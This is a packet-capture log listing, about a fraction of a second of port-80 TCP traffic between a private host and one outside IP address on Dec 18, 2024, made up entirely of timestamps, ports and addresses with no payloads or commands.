Dec 18, 2024 11:09:48.644855976 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.644871950 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.644895077 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.646358967 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.646394014 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.646416903 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.646440983 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.647125959 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.647176027 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.647367954 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.647413015 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.647855043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.647902966 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.648344040 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.648394108 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.648890972 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.648948908 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.648993969 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.649036884 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.715575933 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.715676069 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.715698957 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.715723991 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.715823889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.715858936 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.715867043 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.715898991 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.716329098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.716382027 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.716428995 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.716475964 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.717323065 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.717365026 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.717751026 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.717802048 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.718386889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.718436956 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.718758106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.718801975 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.719384909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.719428062 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.719835043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.719886065 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.720305920 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.720360041 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.720885992 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.720940113 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.721040010 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.721086979 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.721970081 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.722019911 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.722052097 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.722099066 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.723346949 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.723382950 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.723391056 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.723423958 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.724648952 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.724697113 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.724968910 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.725009918 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.725013971 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.725025892 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.725048065 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.725064039 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.726512909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.726528883 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.726558924 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.726577044 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.727368116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.727379084 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.727411032 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.728719950 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.728730917 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.728765011 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.728784084 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.730057955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.730077028 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.730088949 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.730103970 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.730125904 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.731134892 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.731146097 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.731163025 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.731194973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.731216908 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.733023882 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.733037949 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.733077049 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.733326912 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.733341932 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.733385086 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.733413935 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.740855932 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.740907907 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.740969896 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.741003990 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.741019011 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.741044998 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.741137981 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.741179943 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.741929054 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.741981983 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.741990089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.742027044 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.743005037 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.743041992 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.743058920 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.743083000 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.744175911 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.744227886 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.744230032 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.744268894 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.745229006 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.745265007 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.745276928 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.745301962 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.746145964 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.746195078 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.746308088 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.746349096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.747533083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.747572899 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.747581959 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.747611046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.748497009 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.748534918 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.748543978 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.748577118 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.749475956 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.749512911 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.749522924 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.749552011 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.750232935 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.750278950 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.750535965 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.750576019 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.751306057 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.751353979 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.751354933 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.751390934 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.752396107 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.752432108 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.752441883 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.752471924 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.754046917 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.754090071 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.754095078 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.754129887 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.754308939 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.754354000 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.754549980 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.754591942 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.755521059 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.755558968 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.755568981 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.755599976 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.757352114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.757380962 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.757390976 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.757395029 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.757409096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.757426023 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.758485079 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.758495092 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.758506060 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.758527040 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.758549929 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.760668993 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.760687113 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.760696888 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.760713100 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.760726929 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.761698961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.761712074 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.761723042 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.761742115 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.761758089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.763504982 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.763545990 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.763654947 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.763665915 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.763675928 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.763694048 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.763715029 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.764538050 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.764576912 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.765616894 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.765630007 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.765642881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.765655994 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.765670061 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.766822100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.766840935 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.766865969 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.766887903 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.768074036 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.768089056 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.768114090 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.768127918 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.770519018 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.770530939 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.770561934 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.835135937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.835180044 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.835238934 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.835263968 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.835444927 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.835480928 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.835486889 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.835540056 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.836183071 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.836225033 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.836607933 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.836644888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.837657928 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.837697029 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.838092089 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.838135004 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.838840008 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.838851929 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.838895082 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.838912964 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.839413881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.839472055 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.839607954 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.839719057 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.840666056 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.840677977 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.840842962 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.841476917 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.841491938 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.841526031 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.841552973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.842533112 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.842576981 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.843360901 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.843403101 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.843498945 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.843512058 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.843544960 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.844628096 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.844640017 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.844680071 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.846424103 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.846435070 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.846446037 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.846467972 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.846481085 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.847342968 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.847384930 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.860735893 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.860749006 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.860791922 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.861016989 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.861028910 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.861059904 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.861629009 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.861673117 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.862544060 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.862555027 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.862565994 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.862586975 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.862613916 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.863495111 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.863540888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.863796949 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.863837004 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.864625931 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.864669085 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.865683079 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.865716934 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.865727901 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.865750074 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.865772963 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.866910934 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.866921902 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.866957903 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.867494106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.867535114 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.868309021 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.868350983 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.869501114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.869513035 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.869523048 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.869544983 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.869565964 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.870629072 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.870640039 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.870651007 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.870676994 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.870696068 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.872608900 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.872620106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.872631073 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.872653008 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.872673035 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.873056889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.873099089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.874136925 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.874147892 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.874181032 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.875374079 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.875385046 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.875461102 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.876749039 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.876760960 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.876773119 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.876796961 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.876815081 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.877856016 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.877866983 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.877877951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.877904892 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.877928972 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.878868103 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.878909111 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.879192114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.879232883 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.879873037 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.879915953 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.880143881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.880184889 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.880892038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.880933046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.880994081 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.881031036 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.881972075 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.882014036 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.882314920 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.882354021 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.882947922 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.882988930 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.883052111 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.883090019 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.883963108 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.884006977 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.884407997 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.884448051 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.885628939 CET	80	49966	31.41.244.11	192.168.2.6
